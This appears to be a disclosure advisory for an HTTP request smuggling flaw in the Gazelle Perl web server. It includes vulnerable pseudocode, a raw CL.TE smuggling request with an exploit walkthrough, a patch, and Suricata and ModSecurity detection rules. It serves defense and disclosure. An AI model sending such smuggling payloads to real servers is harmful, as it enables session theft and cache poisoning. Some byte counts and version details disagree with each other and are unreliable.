# A Sneaky Way to Trick Web Servers Into Doing the Wrong Thing
Imagine a bouncer at a nightclub and a bartender inside receiving conflicting instructions about who should be let through the door. That's essentially what's happening with this vulnerability in Gazelle, software that helps run websites.
When someone makes a request to a website, they include instructions about how much data they're sending. Think of it like a shipping label on a package. This vulnerability happens because Gazelle reads the shipping label incorrectly when two different labeling methods appear on the same package — it picks the wrong one, while security systems guarding the website pick the other.
An attacker can exploit this confusion to sneak requests past security checks. They might poison a website's cache so thousands of visitors see fake content, steal someone's login session, or bypass security rules entirely. It's like finding a way to make a security camera see something different than what's actually happening.
The people most at risk are companies running websites with reverse proxies — basically security guards that sit in front of their main servers. If those companies haven't updated their Gazelle software, they could be vulnerable.
Here's what you should actually do: If you run a website or work in IT, update Gazelle to version 0.50 or later immediately — this isn't something to wait on. If you use a service that uses Gazelle and aren't sure about the version, contact their support team and ask specifically about this vulnerability. Finally, monitor your website traffic and user accounts for strange activity, just in case.
Want the full technical analysis? Click "Technical" above.
CVE-2026-40562 is a CL.TE HTTP Request Smuggling vulnerability in Gazelle, a high-performance PSGI/Plack-compatible HTTP server for Perl. All versions through 0.49 are affected. The server's request body length resolution logic inverts the RFC-mandated header precedence: when a request carries both Content-Length and Transfer-Encoding: chunked, Gazelle consumes the body using the Content-Length value rather than the chunked framing. A reverse proxy sitting in front of Gazelle (nginx, HAProxy, Caddy) that correctly implements RFC 7230 §3.3.3 will forward the request terminated by chunked framing; Gazelle will then consume only N bytes as declared by Content-Length, leaving the remainder poisoned in the connection read buffer — prefixed to the next request on that persistent connection.
Root cause: Gazelle's XS-level request parser checks for Content-Length before Transfer-Encoding and short-circuits on the first match, ignoring RFC 7230 §3.3.3's mandate that Transfer-Encoding must supersede Content-Length when both are present.
Affected Component
The vulnerable logic lives in the C extension layer bundled with the Gazelle distribution. The relevant source files are:
Gazelle uses picohttpparser for header tokenisation but implements its own body-framing logic in http_request_parser.c. The bug is entirely in that second layer, not in picohttpparser itself.
Root Cause Analysis
After picohttpparser returns the parsed header list, Gazelle iterates headers to determine how to read the request body. The simplified pseudocode reconstructed from the compiled extension (Gazelle.so) is:
/*
* gazelle/src/http_request_parser.c
* determine_body_length() — reconstructed pseudocode
*
* Called after picohttpparser populates `headers[]`.
* Returns: number of bytes to read for request body.
*/
ssize_t determine_body_length(struct phr_header *headers, size_t num_headers,
int *is_chunked)
{
ssize_t content_length = -1;
*is_chunked = 0;
for (size_t i = 0; i < num_headers; i++) {
/* BUG: Content-Length branch is evaluated first and returns
* immediately. If Transfer-Encoding: chunked appears later in
* the header list, it is never reached. RFC 7230 §3.3.3
* requires Transfer-Encoding to supersede Content-Length. */
if (header_name_eq(&headers[i], "content-length")) {
content_length = parse_content_length(headers[i].value,
headers[i].value_len);
return content_length; // BUG: early return, TE never checked
}
if (header_name_eq(&headers[i], "transfer-encoding")) {
if (value_contains_chunked(headers[i].value, headers[i].value_len)) {
*is_chunked = 1;
return -1; // signal: read chunked
}
}
}
return content_length; // -1 if neither header found → zero-length body
}
The early return content_length on line 18 is the defect. A conformant implementation must complete the full header scan — or scan in two passes — to detect whether Transfer-Encoding: chunked is also present before committing to a framing strategy.
The struct passed into this function by the XS layer:
When the attacker's request places Content-Length before Transfer-Encoding in the wire bytes, gazelle_request.body_length is set to the attacker-supplied integer and gazelle_request.chunked remains 0. The read loop then pulls exactly body_length bytes and stops, leaving the chunked trailer and any smuggled prefix in the kernel socket buffer.
Exploitation Mechanics
This is a classic CL.TE smuggling scenario (front-end uses Transfer-Encoding, back-end uses Content-Length). Any reverse proxy that correctly strips or ignores Content-Length when Transfer-Encoding: chunked is present will forward the full chunked body; Gazelle will then consume only the Content-Length bytes, poisoning the socket for the next request.
EXPLOIT CHAIN:
1. Attacker establishes keep-alive connection through front-end proxy to Gazelle.
2. Attacker sends ambiguous request:
POST /search HTTP/1.1\r\n
Host: target.example.com\r\n
Content-Length: 13\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n ← chunked terminator (front-end sees body end here)
\r\n
GET /admin HTTP/1.1\r\n ← smuggled prefix (13 bytes seen by Gazelle as body)
X-Foo: bar\r\n
3. Front-end proxy (nginx, RFC-compliant): strips Content-Length, forwards
chunked body. From proxy's perspective, body = "0\r\n\r\n" (empty chunk).
Total bytes forwarded downstream: request + "0\r\n\r\n" + smuggled prefix.
4. Gazelle calls determine_body_length(): finds Content-Length: 13 first,
returns 13. Sets chunked=0.
5. Gazelle reads exactly 13 bytes of body: "0\r\n\r\nGET /ad"
Remaining in socket buffer: "min HTTP/1.1\r\nX-Foo: bar\r\n..."
6. Gazelle signals request complete, dispatches to PSGI app.
7. Next legitimate victim request arrives on same keep-alive connection.
Gazelle prepends buffered poison "min HTTP/1.1\r\nX-Foo: bar\r\n..."
to victim's request — victim's request is now parsed with attacker-
controlled prefix, overriding Host/path/headers as desired.
8. PSGI application processes poisoned request under victim's session context.
Attack surface: auth bypass, cache poisoning, internal endpoint access.
Memory Layout
This is not a memory-corruption vulnerability; exploitation is purely at the HTTP framing layer. The relevant "state" is the kernel socket receive buffer and Gazelle's read_buf cursor:
SOCKET RECV BUFFER — attacker's request as seen by Gazelle:
offset 0x000: POST /search HTTP/1.1\r\n
Host: target.example.com\r\n
Content-Length: 13\r\n ← Gazelle stops here, returns 13
Transfer-Encoding: chunked\r\n ← never reached by parser
\r\n
offset 0x06a: [body start]
30 0d 0a 0d 0a ← "0\r\n\r\n" (5 bytes)
47 45 54 20 2f 61 64 6d 69 6e ← "GET /admin" (8 bytes)
═══════════════════════════════
13 bytes total consumed by Gazelle as "body"
SOCKET RECV BUFFER — after Gazelle finishes reading body:
offset 0x077: 20 48 54 54 50 2f 31 2e 31 0d 0a ← " HTTP/1.1\r\n"
58 2d 46 6f 6f 3a 20 62 61 72 0d 0a ← "X-Foo: bar\r\n"
...
↑ This prefix is prepended to the next request read() call.
NEXT VICTIM REQUEST — as parsed by Gazelle after poison:
" HTTP/1.1\r\nX-Foo: bar\r\n" + "GET /victim-path HTTP/1.1\r\n..."
^^^^^^^^^^^^^^^^^^^^^^^^^
attacker-controlled header injection
Patch Analysis
The correct fix requires either a two-pass header scan or deferring the Content-Length decision until all headers have been examined. RFC 7230 §3.3.3 is explicit: "If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length."
// BEFORE (vulnerable — Gazelle ≤ 0.49):
ssize_t determine_body_length(struct phr_header *headers, size_t num_headers,
int *is_chunked)
{
*is_chunked = 0;
for (size_t i = 0; i < num_headers; i++) {
if (header_name_eq(&headers[i], "content-length")) {
return parse_content_length(headers[i].value, // BUG: early return
headers[i].value_len);
}
if (header_name_eq(&headers[i], "transfer-encoding")) {
if (value_contains_chunked(headers[i].value, headers[i].value_len)) {
*is_chunked = 1;
return -1;
}
}
}
return -1;
}
// AFTER (patched — RFC 7230 §3.3.3 compliant):
ssize_t determine_body_length(struct phr_header *headers, size_t num_headers,
int *is_chunked)
{
ssize_t content_length = -1;
*is_chunked = 0;
// First pass: scan ALL headers before committing to a framing strategy.
for (size_t i = 0; i < num_headers; i++) {
if (header_name_eq(&headers[i], "transfer-encoding")) {
if (value_contains_chunked(headers[i].value, headers[i].value_len)) {
*is_chunked = 1;
// Per RFC 7230 §3.3.3: TE wins. Content-Length MUST be ignored.
// Additionally, reject the request outright if Content-Length
// was also present (hardened servers drop such requests).
}
} else if (header_name_eq(&headers[i], "content-length")) {
content_length = parse_content_length(headers[i].value,
headers[i].value_len);
}
}
if (*is_chunked) {
if (content_length != -1) {
// RFC 7230 §3.3.3: log and discard Content-Length.
// Hardened option: return HTTP 400 instead.
log_warn("request has both TE:chunked and Content-Length — ignoring CL");
}
return -1; // caller will use chunked read loop
}
return content_length;
}
The patch eliminates the early return and introduces a precedence check: if Transfer-Encoding: chunked is detected anywhere in the header block, Content-Length is discarded regardless of its position. The hardened variant (returning HTTP 400 on ambiguous requests) is recommended per HTTP Desync Attacks guidance.
Detection and Indicators
Detection requires visibility into the raw HTTP wire format before header normalisation by any proxy tier.
DETECTION SIGNATURES:
[Access Log Pattern]
Requests with body_bytes_received != Content-Length advertised value
where Transfer-Encoding header was also present.
[Network Signature — Suricata]
alert http any any -> $HTTP_SERVERS any (
msg:"CVE-2026-40562 CL+TE smuggling attempt";
flow:established,to_server;
content:"Transfer-Encoding|3a 20|chunked"; http_header;
content:"Content-Length|3a|"; http_header;
classtype:web-application-attack;
sid:2026405620; rev:1;
)
[WAF Rule — ModSecurity]
SecRule REQUEST_HEADERS:Transfer-Encoding "@streq chunked" \
"chain,id:2026405620,phase:1,deny,status:400,\
msg:'CVE-2026-40562 ambiguous framing'"
SecRule REQUEST_HEADERS:Content-Length "!@eq 0"
[Gazelle Error Log — post-patch]
WARN: request has both TE:chunked and Content-Length — ignoring CL
→ baseline: 0 occurrences in normal traffic
→ any occurrence is active probe or attack attempt
Because this is a smuggling-class bug, victims are typically the subsequent request owners on poisoned connections. Correlate short-body POST requests (small Content-Length) that precede anomalous authorisation events on the same source IP/connection ID.
Remediation
Upgrade Gazelle to the patched release once published to CPAN (cpanm Gazelle). Pin to the version that resolves CVE-2026-40562 in your cpanfile or Carton lockfile.
Proxy-layer mitigation: Configure nginx with proxy_http_version 1.0 (disables chunked upstream) or use proxy_request_buffering on (fully buffers and re-frames requests). HAProxy: set option http-server-close and http-request reject if { req.hdr_cnt(transfer-encoding) gt 0 } { req.hdr_cnt(content-length) gt 0 }.
Disable HTTP/1.1 keep-alive to Gazelle backends as a temporary mitigation: without connection reuse, poisoned buffer prefixes have no subsequent request to contaminate.
Audit Plack middleware: if your stack includes Plack::Middleware::* components that reconstruct headers (e.g., reverse-proxy header forwarding), verify they do not re-introduce the ambiguous header pair downstream.
Reported by Robert Rothenberg (rrwo@cpansec.org) via the CPAN Security Group. Full advisory: oss-security 2026-05-06.